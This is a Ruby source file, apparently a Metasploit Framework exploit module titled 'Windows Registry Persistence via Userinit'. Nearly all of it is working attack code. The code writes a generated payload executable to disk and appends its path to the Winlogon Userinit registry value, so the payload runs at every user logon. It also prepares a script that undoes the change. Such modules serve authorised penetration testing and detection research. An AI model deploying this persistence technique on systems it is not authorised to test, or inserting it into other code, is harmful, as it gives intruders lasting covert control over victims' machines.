86 lines
3.3 KiB
Ruby
86 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::Windows::Registry
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::Powershell
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include Msf::Exploit::Local::Persistence
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Windows Registry Persistence via Userinit',
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'Description' => %q{
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This module will install a payload that is executed during user logon.
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It writes a payload executable to disk and modifies the Userinit registry value
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in "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" to append the
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payload path, causing it to execute when any user logs in.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'joel @ ndepthsecurity',
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'h00die',
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],
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'Platform' => [ 'win' ],
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'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Targets' => [
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[ 'Automatic', {} ]
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],
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
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['URL', 'https://hadess.io/the-art-of-windows-persistence/']
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => '2015-07-01',
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'Notes' => {
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'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
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}
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)
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)
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register_options([
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OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
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])
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end
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def regkey
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'HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon'
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end
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def check
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print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
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return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
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return Msf::Exploit::CheckCode::Safe("Unable to read registry path #{regkey} with key Userinit") if registry_getvaldata(regkey, 'Userinit').nil?
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Msf::Exploit::CheckCode::Vulnerable('Registry likely exploitable')
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end
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def install_persistence
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payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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payload_exe = generate_payload_exe
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payload_pathname = writable_dir + '\\' + payload_name + '.exe'
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vprint_good("Writing payload to #{payload_pathname}")
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fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
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old_value = registry_getvaldata(regkey, 'Userinit')
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new_value = (old_value.split(',') + [payload_pathname]).join(',')
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vprint_status("Updating '#{old_value}' to '#{new_value}'")
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registry_setvaldata(regkey, 'Userinit', new_value, 'REG_SZ')
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escaped_old_value = old_value.gsub('\\', '\\\\')
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@clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v Userinit /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)
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@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
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end
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end
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